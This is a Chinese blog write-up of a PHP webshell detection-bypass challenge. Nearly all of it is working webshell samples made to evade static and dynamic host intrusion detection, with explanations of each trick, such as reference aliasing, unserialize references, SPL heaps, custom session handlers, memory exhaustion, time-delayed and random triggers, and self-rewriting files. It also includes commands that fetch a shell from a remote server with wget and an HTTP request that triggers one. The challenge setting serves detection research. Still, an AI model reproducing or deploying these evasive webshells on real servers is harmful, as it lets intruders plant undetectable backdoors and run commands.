背景:2022年春天,参加了某HIDS Bypass挑战赛,赛题恰好是关于PHP WebShell绕 过的,结合Fuzz技术获得了几个侥幸可以绕过的样本,围绕#WebShell检测那些事的主题, 与各位做一个分享。

挑战赛规则如下:

1、WebShell 指外部能传参控制(如通过 GET/POST/HTTP Header 头等方式)执行任 意代码 或命令,比如 eval($_GET[1]);。在文件写固定指令不算 Shell,被认定为无 效,如<?php system(‘whoami’);

2、绕过检测引擎的 WebShell 样本,需要同时提供完整有效的 curl 利用方式, 如:curl ‘http://127.0.0.1/webshell.php?1=system("whoami")';。curl 利用方式可以在 提供的 docker 镜像中进行编写测试,地址可以是容器 IP 或者 127.0.0.1,文件名 任意,以执行 whoami 作为命令示例。

3、WebShell 必须具备通用性,审核时会拉取提交的 WebShell 内容,选取一个和 验证镜 像相同的环境进行验证,如果不能正常运行,则认为无效。

4、审核验证 payload 有效性时,WebShell 文件名会随机化,不能一次性执行成功 和稳定 触发的,被认定为无效。

首先,我对查杀引擎进行了一定的猜测,根据介绍查杀引擎有两个,两个引擎同 时工作,只要有一个引擎检测出了 WebShell 返回结果就是查杀,根据经验推测,应 该是有一个静态的,另一个是动态的。对于静态引擎的绕过,可以通过拆分关键词、 加入能够引发解析干扰的畸形字符等;而对于动态引擎,需要分析它跟踪了哪些输入 点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则,于是 我开始了一些尝试。

0x01 CURL 引入参数

经过分析,引擎对$_GET $_POST $_COOKIE $_REQUEST $_FILES $_SERVER $GLOBALS 等几乎一切可以传递用户参数的全局变量都进行了过滤,但是对 curl 进来的内容却是没有 任何过滤,于是我们可以通过CURL引入参数。

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$url="http://x/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);

但是在这一点的评判上存在争议,本样本惨遭忽略。根据挑战赛规则,能够动态引入参 数即可,我个人认为CURL引入的参数也属于外部可控的参数内容。

0x02 get_meta_tags 引入参数

get_meta_tags 函数会对给定 url 的 meta 标签进行解析,自然也会发起URL请求。对 于能够发起外连的服务器来说,这个PHP WebShell样本是极具迷惑性的。

不过,之前CURL的被忽略了,这个我也就没有再提交。

1
2
3
4
<?php 
get_meta_tags("http://x/1")["author"](get_meta_tags("http://x/1")["
keywords"]);
?>

此时,目标服务器上需要有相应的文件配合:

1
2
<meta name="author" content="system"> 
<meta name="keywords" content="ls">

这个name 我们可以随便指定,相应的我们的payload也要做相应的修改

这里的payload 就相当于get_meta_tags("http://x/1")["author"] 先用这个取到了 system

在用 get_meta_tags("http://x/1")[" keywords"] 取到了 ls 然后执行后的结果

image-20250730125511333

我们尝试一下写shellcode

我们尝试用 echo 123>/tmp/123.php 去写入发现 他并没有 写入成功,网页直接输出了123

这里我尝试对echo 123>/tmp/123.php 进行base64编码,然后在我们的payload进行一下解码

1
2
3
4
get_meta_tags("http://192.168.197.134/demo1.html")["author"](base64_decode(get_meta_tags("http://192.168.197.134/demo1.html")["keywords"]));

<meta name="author" content="passthru"> //这里的执行函数,可以换多种,如system等
<meta name="keywords" content="ZWNobyAxMjM+L3RtcC8xMjMucGhw">

成功写入 shell

passthru 这个函数也可以执行命令,挺少见的,也许某些地方可以绕过

我们换个思路进行写shellcode,我们可以从我们的服务器上直接wget下来

1
wget -O /tmp/shell.php http://192.168.197.134/shell.txt

这样也是可以实现的,但是要注意的是你wget的文件必须是txt等他获得请求后的结果 作为的内容进行传入的php

,不然直接请求php可能会返回空

0x03 fpm_get_status 引入参数

因为当时的比赛是php-fpm的架构,而fpm_get_status 可以获取到fpm的一些状态

我们需要找到这些用户可以控制的状态参数

1
2
3
<?php 
echo "<pre>";
var_dump(fpm_get_status());

先用这个打印一下

image-20250730150759807

注意到这里他可以接收get的传参

那么我们就可以进行拼接

1
2
3
4
<?php 
echo "<pre>";
var_dump(fpm_get_status());
system(fpm_get_status()["procs"][0]["query-string"]);

image-20250730151013484

这么一个逻辑

1
system(fpm_get_status()["procs"][0]["query-string"]);

所以我们通过这个完全可以取出来

image-20250730163151987

没问题

有些时候 procs 的第一个 不是 0 这个数组,所以

1
2
3
4
<?php 
foreach(fpm_get_status()["procs"] as $val){
system($val["query-string"]);
}

这样就可以每次都触发,做了一个循环,肯定能取到0

0x04 递归GLOBALS 引入参数

经过测试,查杀引擎对$GLOBALS 全局变量传参点进行了检测,但是似乎没有严格执行 递归,通过一些变形即可绕过:

1
2
3
<?php 
$m=($GLOBALS["GLOBALS"]["GLOBALS"]["GLOBALS"]["GLOBALS"]["GLOBALS"]["GLOBALS"]["_GET"]["b"]);
substr(timezone_version_get(),2)($m);

由于静态引擎会直接拦截system( ,所以,进行了一些包装,timezone_version_get() 在给定的测试环境中返回的值恰好是:0.system 。 关于这一点,我在PHP 网站上看到了这样一段话:

If you get 0.system for the version, this means you have the version that PHP shipped with. For a newer version, you must upgrade via the PECL extension (sudo pecl install timezonedb)

传参数入口方面,我暂时就发现了这么多,接下来,我试图通过特殊的变量传递方式切 断动态查杀引擎的污点跟踪链。

这里我们自己分析一下

先打印看一下 $GLOBALS 到底是什么

image-20250730233350866

可以看到

RECURSION 是递归的意思,也就是下面有很多个GLOPBALS 嵌套的数组,有可能他的追踪链不会追这么深,污点断掉,我们的payload就可以绕过

timezone_version_get() 然后我们查一下这个函数,到底是什么

image-20250730233943209

他这获取一个版本,好像并不是我所想象的执行命令的函数

我们打印一下看一下

image-20250730234054976

system出现了,后面查资料发现,timezonedb 只要这个的版本不是最新的,他就会返回 0.system

仅限于Linux系统,windows系统不行

image-20250730234256844

后面拼接get传参就可以执行命令

image-20250730234313033

在测试一下post

image-20250730234346318

post也可以传

也可以执行

0x05 模式一: Array元素引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
$b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$b."?a=1";
$d =parse_url($url);
if($d['query']){
$c="echo 111;";
}
else{
$c=$_FILES['useraccount']['name'];
}

var_dump($a["two"]);
eval($a["two"]);
?>

这里先分析一下代码

第一个if判断通过get_cfg_var 判断error_reporting 模式是否开启

如果开启 $b="#"

image-20250730235626827

这里打印了一下,发现我们的环境是开启了这个模式的

$a = array( "one"=>$c,"two"=>&$c );

又引入了一个变量a ,”one”=>$c 这里是值赋值,将变量$c的当前值复制到数组的"one"键中。如果后续$c的值发生变化,数组中的这个值不会受到影响,”two”=>&$c 这里是引用赋值, 将变量$c的引用(而非值)赋给数组的"two"键。这意味着数组中的这个元素会始终反映$c的当前值,反之亦然 —— 如果通过数组修改这个元素,$c的值也会改变,也就是他们两现在共用一个内存地址

$url = "http://a/usr/".$b."?a=1";

$d =parse_url($url);

然后这里他把$b 进行拼接在了这个url地址栏中

并用$d 来接收了url解析后的一些参数,我们可以打印看一下,正常的url有哪些参数

image-20250731000005008

正常也就是$b 是111的时候,他有query这个字段

我们在试试把#进行拼接呢?

image-20250731000059292

发现他这里query字段消失了,导致下面的那个if判断走的分支就不一样了

1
2
3
4
5
6
7
8
9
10
11
if($d['query']){ 

$c="echo 111;";

}

else{

$c=$_FILES['useraccount']['name'];

}

这里就被我们上面控制,如果有query 那么就是为真,$c=”echo 111;” 最后我们输出的那个two 就是111,为正常的参数,waf不会拦截

但是如果 query 为 假,也就是 $b=”#”,$c=$_FILES['useraccount']['name']; 这个看上去像文件上传的参数

且用户可控

这里其实就是利用了 waf,和服务器的配置的差异性,因为waf他要保证精简,所以一般这些他不会用的服务都会关闭,我们服务器呢,这个配置默认就是开启的,waf他走正常的输出逻辑,过掉之后,服务器在运行,又走另一个分支,从而实现了我们的绕过

我们复现一下,具体怎么个用户可控

首先我们需要抓一个文件上传的包,还有正常访问的包,将文件上传的post部分,覆盖进get访问的包

image-20250731002142552

上传文件的内容随便,我们只需要控制他的name

成功执行

0x06 模式二: 反序列化引用

怎么能少得了反序列化呢?记得在N年前php4fun挑战赛challenge8中,一道与L.N. 师傅有关的题令我印象深刻,其中使用的技术正是PHP反序列化引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$s= unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;
for($i;$i<count($arr);$i++){
$i++;
$s[1]->a=$_GET['a'];
if($i<97 || $i>=98){
continue;
}
$c=$s[0]->a;
print(substr(get_declared_classes()[72],4,6)($c));
}
?>

分析

他先将a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;} 进行了一下反序列化,我们看一下打印一下看看反序列化的结果

image-20250804110743785

也可以直接读序列化的值

他这里定义了一个对象a,然后里面有两个元素,第一个是int型,值是0,第二个又是一个对象 长度8,名称stdClass,属性1,里面第一个元素 str类型,长度1,key=a,int型, value=1, 第二个元素 int型长度1,

r:2 是对a对象的第二个元素的引用 也就是我们反序列化后的结果打印出来的

两个都指向stdClass 这个元素

image-20250804111430369

打印看一下定义了哪些数组,包含自定义的数组

image-20250804111535354

可以看到这里的第

这里我们在打印一下他有多少个数组

image-20250804111912136

145 刚好能满足在下面 到97的时候 会继续执行下面的代码

$s[1]->a=$_GET['a']; 这里他将 get请求获取的值 赋值给数组s的第二个元素,也就是刚刚的r:2

又进行引用,指向了s[0],这样也具有一定的迷惑性迷惑waf

$c=$s[0]->a; 下面有将 s[0] 赋值给a ,然后赋值给c

最后的命令执行 参数也就是$c

image-20250804113122051

刚刚这里 我们还需要注意 他最后命令执行的函数也就是通过

substr(get_declared_classes()[72],4,6)

这里我们需要修改为我们环境的 70

刚好截取出来的是system,然后进行拼接执行函数

image-20250804113334426

成功执行

0x07 trait

在对前两种模式Fuzz的同时,我发现了一个新的思路,这个思路虽然同样部分依赖于 系统环境变量,但是由于执行函数和传参都进行了变形,可以有效阻断污点追踪技术。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
trait system{

}
$a= new OverflowException($_GET['a']);


$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
$i++;
if($i<33 || $i>=34){
continue;
}

$c=$a->getMessage();
get_declared_traits()[0]($c);

}

分析

他先用trait 定义了一个类,trait这个是php中为了完善定义类的方式新增了可复用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}

trait World {
public function sayWorld() {
echo 'World';
}
}

class MyHelloWorld {
use Hello, World;
public function sayExclamationMark() {
echo '!';
}
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

然后他 new了一个对象 通过OverflowException这个默认的类创建

抛出异常的一个类,

我们可以去官方文档看一下他有哪些属性和方法

image-20250804120056516

这里可以看到我们传入了 一个get传参,第一个参数就是message,进行了赋值

且后面也调用了getmessage() ,进行赋值给$c

然后这里他还将 $arr 通过getmygid() 获得文件的所属组的id,进行赋值给$arr,

然后去进行了if判断,在33 的时候正好 能继续执行下面的代码,而且我们可以看一下

/etc/passwd,下面的 www-data 的组id是多少

image-20250804120451533

可以看到这个是33,也就是可以成功执行下面的代码

最后执行 get_declared_traits()[0]

这个方法

image-20250804120611473

可以看到 他的返回值是 已经定义的 所有 traits 的名称的数组,这里我们只定义了一个

所以就可以把system 取出来

最后也是拼接执行的代码

测试

image-20250804120735694

成功

然后这里这个异常的类有很多,都可以进行替换,一般的抛出异常肯定是有抛出异常信息这个的方法和属性的,

为什么能绕过呢?

这里我如此初始化:$a= new JsonException($_GET[‘a’]); 于是,分别从危险函数和 用户传参两个路径来狙击动态跟踪,发生了新的绕过。除了JsonException以外,我发现 引擎对内置接口的getMessage 普遍不敏感,这样的内置类大致(未严格测试,其中可能 会有些类不支持getMessage方法)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Error 
ArithmeticError
DivisionByZeroError
AssertionError
ParseError
TypeError
ArgumentCountError
Exception
ClosedGeneratorException
DOMException
ErrorException
IntlException
LogicException
BadFunctionCallException
BadMethodCallException
DomainException
InvalidArgumentException
LengthException
OutOfRangeException
PharException
ReflectionException
RuntimeException
OutOfBoundsException
OverflowException
PDOException
RangeException
UnderflowException
UnexpectedValueException
SodiumException

0x08 SESSION

如果动态引擎去检查,他应该没有SESSION,至少是在第一次的时候。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 

$b = "111";
$c = "222";
session_start();
$_SESSION['a']="#";

$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$_SESSION['a']."?a=1";
$d =parse_url($url);

if($d['query']){

$c="echo 111;";

}
else{
$c=$_FILES['useraccount']['name'];
}


var_dump($a["two"]);
eval($a["two"]);

?>

模式基本上是与之前相同的,不同之处在于引入了SESSION变量来干扰URL解析,不 知为何,这样一次就通过了检测。其实更加高级的方法应该是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 

$b = "111";
$c = "222";
session_start();

$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$_SESSION['a']."?a=1";
$d =parse_url($url);

if($d['query']){

$c="echo 111;";

}
else{
$c=$_FILES['useraccount']['name'];
}


var_dump($a["two"]);
eval($a["two"]);

$_SESSION['a']="#";

?>

由于规则需要一次性执行成功,因此需要在文件末尾加入:

1
2
3
4
5
if ($_SESSION['a']!="#"){ 
$_SESSION['a']="#";
print(1);
include(get_included_files()[0]);
}

触发该WebShell的HTTP请求为:

1
2
3
4
5
6
7
8
9
10
POST /x.php HTTP/1.1 
Host: x
Content-Type: multipart/form-data;boundary=a;
Content-Length: 101
Cookie: PHPSESSID=bkukterqhtt79mrso0p6ogpqtm;
--a
Content-Disposition: form-data; name="useraccount"; filename="phpinfo();"

phpinfo();
--a--

这个方法其实也跟前面的 0x05是差不多的,利用的是 waf和服务器的差异性,这里我们就不做过多的分析了

0x09 SESSION扩展

利用SessionHandlerInterface 扩展的接口可以神不知鬼不觉地执行特定函数,直 接看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
ini_set("display_errors",1);
class MySessionHandler implements SessionHandlerInterface
{
// implement interfaces here
public function close()
{
// TODO: Implement close() method.
}

public function destroy($id)
{
// TODO: Implement destroy() method.
}

public function gc($max_lifetime)
{
// TODO: Implement gc() method.
}

public function open($path, $name)
{
$path($name);

}

public function read($id)
{
// TODO: Implement read() method.
}

public function write($id, $data)
{
// TODO: Implement write() method.
}
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_name($_GET['a']);
session_save_path('system');
session_start();

这里我们可以看到,他自建了一个SessionHandlerInterface,并重写了里面的方法进行了覆盖,也就是说

我们后面开启session_start() 的时候,会调用我们自己写的 方法,而不是系统自带的

image-20250804121645979

这是他系统自带的属性和方法,因为我们进行覆盖,可以不写下面具体的方法,只需要有这个方法名,他才不会报错,这里感觉跟之前做的dll劫持导出表有相似之处

这里我们是在open下做的代码执行,其实也可以在其他地方,但是他需要接收两个用户可控的地方

目前感觉只有 open 和write 可以

因为我们知道 sessionid是用户可控的,data 就是我们要写入的数据 ,可以测试一下

感觉不太像,这个data 他是序列化后的结果 ,无法 构造出我们想要的

所以还是只有open可以实现,因为path,和name 我们可以直接传入

image-20250804122727273

没问题成功执行了

0x0A 内存

之前有考虑过写入文件后include,但是被规则禁止了,即便是include session文件也 不行,于是,想到了内存。

1
2
3
4
5
6
<?php 
$a = new SplTempFileObject(1000000);
$a->fwrite( $_GET['a']);
$a->rewind();
substr(get_declared_classes()[70],4,6)($a->fgets());
?>

这里他用SplTempFileObject 这个类创建了a这个对象,我们知道 php中,创建对象的时候

会自动调用__construct这个魔术方法执行

image-20250804132219798

image-20250804132235224

那就明白了,他这个给maxMemory 设置了大概1M 的大小,然后通过fwrite进行写入文件 给$a

然后又将指针移动向文件的开头,substr(get_declared_classes()[70],4,6) 构造system,之前讲个这个构造

,然后在通过$a->fgets(),读命令执行

测试

image-20250804133847219

这里为什么要设置1M ,目的是为了不让他在我们执行命令的过程中生成临时文件,绕过waf

只要是2M一下都行

0x0B 修改自身

修改自身的洞都被认定为同一种绕过手法了,而且已经有人先提交,因此被忽略了,但 是仍然写出来供大家参考。

1
2
3
4
5
6
7
8
9
10
<?php 
$s="Declaring file object\n";
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];
$file = new SplFileObject($d,'w');

$file->fwrite("<?php"." eva".$s[3]);
$file->fwrite("(\$_"."GET"."[a]);?>");

include(get_included_files()[0]);
?>

分析

先定义了一个$s = “Declaring file object\n”

然后通过$_SERVER[‘DOCUMENT_ROOT’].$_SERVER[‘DOCUMENT_URI’]拼接了一个字符串,我们打印看一下是什么,

image-20250804134545321

我们可以看到 $_SERVER 中是一个数组,然后 DOCUMENT_ROOT 是服务器网站的根目录,DOCUMENT_URI是文件的路径,拼接起来就是 /var/www/html/baypass/demo11.php,就拿到了我们php的绝对路径

我还发现 ,SCRIPT_FILENAME 这个也可以直接拿到文件的绝对路径,用拼接的方式也可能是为了迷惑waf

image-20250804134843626

这几个其实都能用来利,

然后他 又通过SplFileObject这个类new了一个对象为$file 参数为 自己文件的绝对路径,mode是w

image-20250804135151433

我们可以看到 他正好第一个参数,第二个参数就是 文件名和mode,其他的都有默认值

$file->fwrite("<?php"." eval(\$s[3]);");

$file->fwrite("(\$_"."GET"."[a]);?>");

然后他通过fwrite进行写文件

这里其实我有一个疑问,他这里为什么是追加不是覆盖呢?

查找资料发现

因为我们 new对象的时候mode用的是w

'w'模式的特性是:

  • 打开文件时会清空原有内容(首次写入前文件已被截断)
  • 但写入过程中,文件指针会自动向后移动,新的写入操作会从当前指针位置继续,形成连续追加

fwrite () 的指针移动机制
每次调用fwrite()后,文件指针会自动移动到写入内容的末尾。因此:

  • 第一次fwrite()写入"<?php"." eva".$s[3]"
  • 指针移动到这段内容的末尾
  • 第二次fwrite()从当前指针位置继续写入"(\$_GET[a]);?>"
  • 最终两个字符串会被拼接在一起,形成完整内容:

这里要避免$ 符被正确识别,所以要用\进行转义

也就是说我们写完后的指针在末尾!!!

最后用 get_included_files 进行获取 文件的路径

image-20250804135949567

这里我们也打印一下看看他是什么

image-20250804140040813

发现这里他只有一个元素也就是我们的文件名

测试执行一下

image-20250804140337782

发现自身的文件成功被修改为 我们想要的payload

直接的文件读写函数被禁止了,因此需要通过SplFileObject来写,由于需要一次性执行 和稳定触发,写入之后需要自己include自己。这种WebShell很有趣,就像是披着羊皮的 狼,上传的时候看起来平平无奇,被执行一次以后就完全变了模样。 沿用这个思路,还有一个点是可以写文件的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set("display_errors",1);
print "Declaring file object\n";
$f=__FILE__;
$file = new SplFileObject($f,'w');

$a=array("<?php /*", "*/eva","(\$_GET[a]);");
$file->fputcsv($a,'l');

$file=null;

include(get_included_files()[0]);

?>

这个代码主要的方法就是写函数不一样 fputcsv

查查官方文档

image-20250804163635726

putcsv($a,'l'); 这里我们传入$a是我们的payload ,也就是我们传入的这个数组,然后用l 来进行分割,也就是将逗号替换为了l,但是这里有两个逗号,正常替换是<?php l eval ($_GET[a]);这里会多一个l所以我们用

/* */ 进行注释

测试

image-20250804164041643

成功变为了我们想要的,只是多了一个双引号,但是并不影响我们执行

image-20250804164125480

不同之处在于,这里使用的是fputcsv,此时,需要将写入文件以后所产生的分隔符进 行注释,因此在构造payload时需要花点心思。 更进一步,使用这个方法加载缓存也是可以的:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors",1);
$s="Declaring file objecT\n";

$file = new SplTempFileObject();

$file->fputcsv(explode('m',"evam(\$_GET[m]);"),'l');

$file->rewind();
eval($file->fgets());

?>

分析

他先创建了一个对象 用SplTempFileObject这个类

然后用这个类里面的方法来写payload

image-20250804164409628

用法跟前面的差不多,先用 explode m 来分割 evam($_GET[m]); ,

分割后变成了 eva ($_GET[ ]);

image-20250804164818967

这样我们能就有一个3个元素的数组,然后他又用fputcsv l,来进行分割(代替逗号)

变为了: eval($_GET[l]);所以我们传参的值是l

然后他重置了一下指针到开头,然后在用eval来执行文件内容

image-20250804165113938

没问题

0x0C 堆排序

动态查杀引擎根据模拟执行的情况来进行判断,那么我们能否将好的坏的掺在一起,这 就像一个箱子里面有个5球,按号码从大到小摆放好,按顺序取,想办法让引擎取到正常的 球,而我们执行的时候通过控制参数取到能变为WebShell的球。我先放入3个正常的球0、 7、8和一个恶意的球’system’,还有一个球我通过GET参数控制,暂且称之为x。 当x取大于8以上的数字时,会有一个最大堆(绿色为按最大堆顶点依次导出的顺序):

image-20250804165147644

image-20250804165153856

由此可见:不同的参数值,能够引发堆结构的改变。经过多次Fuzz测试,我发现HIDS 查杀引擎对第三种情况没有考虑,于是,我通过依次将i取1和i取2来提取变量$a和$b, 再通过 $a($b); 执行命令。 当然,在这种情况下,利用的Payload 只能是 x.php?a=99;whoami 这种格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 

$obj=new SplMaxHeap();
$obj->insert( $_GET[a] );
$obj->insert( 8 );
$obj->insert( 'system' );
$obj->insert( 7 );
$obj->insert( 0 );
//$obj->recoverFromCorruption();
$i=0;

foreach( $obj as $number ) {
$i++;

if($i==1) {

$a = $number;
}
if($i==2) {

$b = $number;
}
}

$a($b);

分析

0x0D 优先级队列

优先级队列与堆排序思想基本类似,不同的是,我这里使用优先级队列对system关键 词进行更细颗粒度的拆分。想办法让传参影响system每个字符的顺序。 请看样本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();

$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',2);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET['a']);


$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);

//Go to TOP
$objPQ->top();

$m='';
$cur = new ErrorException($_GET['b']);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());

?>

分析

用SplPriorityQueue 这个类 new了一个对象

image-20250804165347214

这个类中有优先级队列的一些方法

image-20250804165424317

这个

$objPQ->insert(‘m’,1);

我们可以看到官方文档说明他有两个参数,第一个就是要进行排序的值,第二个就是优先级,优先级越大,他排在最上面

这里他就是想构造 system 只需要我们将a传入3就行

然后他下面用了 setExtractFlags 这个方法 调用了 SplPriorityQueue::EXTR_DATA 这个常量

image-20250804170014276

也就是他想用 setExtractFlags 来提取优先级队列里面的数据

也就是提取system

然后他又调用了top这个方法

image-20250804170153471

让他从顶部开始查看节点

$cur = new ErrorException($_GET[b]);

这里他又用了这个抛出错误这个类创建一个对象,然后通过getmessage()这个方法来传入我们的命令

然后下面那个循环

他先调用了valid ,来检查队列是否有多个节点,返回类型bool型,满足条件

然后又用 current来指向当前的节点 因为前面调用了top 所以从上往下指

然后next 依次往下指,取出了我们的system ,在进行了拼接命令执行函数

测试

image-20250804171233692

成功执行

0x0E 内存不足

内存不足的思想是:查杀引擎的动态执行需要消耗内存空间,由于同一时间处理的样本 很多,因此单独给每个沙箱环境分配的内存往往不会太多,如果我构造一个样本,能够让查 杀引擎由于内存不足提前终止查杀,而在真实环境中内存可以满足执行需要,就能够执行到 恶意的代码了,恰好PHP的内存申请是可以通过php_ini在运行时动态修改的。 请看样本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
ini_set("display_errors",1);

class b extends SplObjectStorage {
public function getHash($o) {
return get_class($o);
}
}
$cur= new DomainException($_GET[a]);
?>
111111111111111111111111111111111111111111111111

<?php
ini_set("display_errors",1);
ini_set("memory_limit","100G");
echo memory_get_usage().'<br>';
$var = str_repeat("php7_do9gy", 100000000);
echo memory_get_usage();
class bb{}
?>
111111111111111111111111111111111111111111111111

<?php


ini_set("display_errors",1);
class A {}

$s = new b;

$o2 = new stdClass;



$s[$o2] = 'system';


//these are considered equal to the objects before
//so they can be used to access the values stored under them
$p1 = new stdClass;
echo $s[$p1]($cur->getMessage());
?>

分析

第一段php代码:

他先定义了一个b类继承了SplObjectStorage类的属性和方法,重写了getHash这个方法

让他返回对象名

然后

他又new了一个对象通过DomainException这个类,也是一个抛出异常的一个类,$_GET[a]应该就是我们执行的参数,通过getmessage来获取

第二段php代码:

他初始化了一个 memory_limit 分配了100g的内存

然后他打印了一下这个 内存量,然后他又用str_repeat这个函数 一直重复的赋值 php7_do9gy这个字符串

100000000次

然后他又打印了一下

并定义了一个空的类bb

第三段php代码:

首先定义了一个空A类

然后通过b类new了一个$s这个对象,

又通过stdClass这个类 new 了一个o2的对象

然后他将$s[$o2] = ‘system’;

然后又用 stdClass 这个类new了一个p1的对象

最后进行拼接打印输出

image-20250804173630947

可以看到最开始内存占用是 403984 变成了1000405544

成功

0x0F 未来WebShell

思路:动态查杀是基于PHP 文件上传后动态执行的,那么有没有可能上传一个文件, 上传时它还不是WebShell,它自己过几分钟变成一个 WebShell呢?这样在上传时就可以躲 过动态查杀。正好,结合0x05和0x06两种模式,我们尽可能将是否为WebShell的判断依 据前置到一个if条件中,然后让这个条件以当前时间为依据,那么上传时的Unix时间戳小 于某个值,返回结果True,动态引擎自然判定这是一个正常的文件,而过一段时间,时间变 化了返回结果变为了False,再去请求这个WebShell 自然就能够执行了。 一直想构造这样一个未来的webshell,但是由于网站对时间相关的函数过滤很严,直到我发 现了DateTime类的getTimestamp方法。 仅有这个思路是不够的,在实现时,还结合了反射的技巧以及PHP条件优化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
echo $test . $bar;
}

$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {
$da = new DateTime();

echo $da->getTimestamp();
echo 'Name: ' . $param->getName() . PHP_EOL;
$n='F';
if ($param->isOptional()) {
if($da->getTimestamp()>=1648470471||$n='1'){
echo $n;
}


echo 'Default value: ' .
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
}
echo PHP_EOL;
}
?>

分析

他先定义了一个foo的函数里面有两个参数,test没有默认值,需要用户传入,bar有默认值,用户可传可不传

然后 通过ReflectionFunction这个类创建了一个function这个对象,这个类英文翻译为反射函数

我们可以知道,他将foo这个函数的属性给了$function

然后他又通过了 ParseError这个类抛出异常来接收我们要执行的命令

if判断里面用 getParameters 获取了一下$function 的参数,也就是获取到了 test,和bar

用这两个参数进行循环

循环里面,他用DateTime 这个类创建了一个对象 $da,然后用getTimestamp() 获取了一下unix时间戳并打印出来,然后 getName获取属性名赋值给$param, 然后将$n=’F’;

进入下面的判断

image-20250804175239499

isOptional() 调用这个方法来判断$param 里面的属性是否是可选的参数,也就是可以传值也可以不传值的参数

if($da->getTimestamp()>=1648470471||$n=’1’)

这里这个判断 如果时间戳大于 就不$n=’1’进行这个赋值 直接往下继续执行了,如果小于就将 $n=’1’ 进行赋值

最后ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());

调用这个来构造system(),这里他是通过getDefaultValueConstantName来获取默认的参数值,并交给ltrim进行清洗掉$n,也就是将FSYSTEM 中的F 去掉,就刚好是我们的system,如果这个$n是1 的话,它里面没有1 所以不做处理,会让waf认为是正常函数,污点就会断掉,只有在特定的时间才会触发

测试

这里我们修改一下这个时间戳为1754301527

image-20250804175826475

等下时间到

image-20250804175852801

成功执行

0x10 量子WebShell

不满足于未来WebShell的挖掘,我又找到了一种新的模式——量子WebShell。在PHP 引擎查杀时,利用随机数,让判断条件在大多数情况下都不成立,此时这个WebShell处于 是WebShell和非WebShell的叠加态,当且仅当参数传递缩小随机数生成范围以后,让条件 恒成立,此时该样本坍缩到一个WebShell的状态,可以稳定触发。 请看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
echo $test . $bar;
}

$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {
$da = new DateTime();

echo $da->getTimestamp();
echo 'Name: ' . $param->getName() . PHP_EOL;
$n='F';
if ($param->isOptional()) {
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
echo $n;
}


echo 'Default value: ' .
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
}
echo PHP_EOL;
}
?>

这里他跟前面列子不一样的地方就是判断的地方

前面还是一样用反射函数构建等等。。。

(mt_rand(55,$p->getMessage()??100)==55||$n=’1’)

image-20250804180322020

他通过mt_rand这个函数来随机取值,如果我们的$_SERVER[HTTP_A]没传值 getMessage()这个就接收不到参数

他的范围就(55,100), 这样经过mt_rand()很难精准的取到55,所以这里我们传值就传55,让他定死

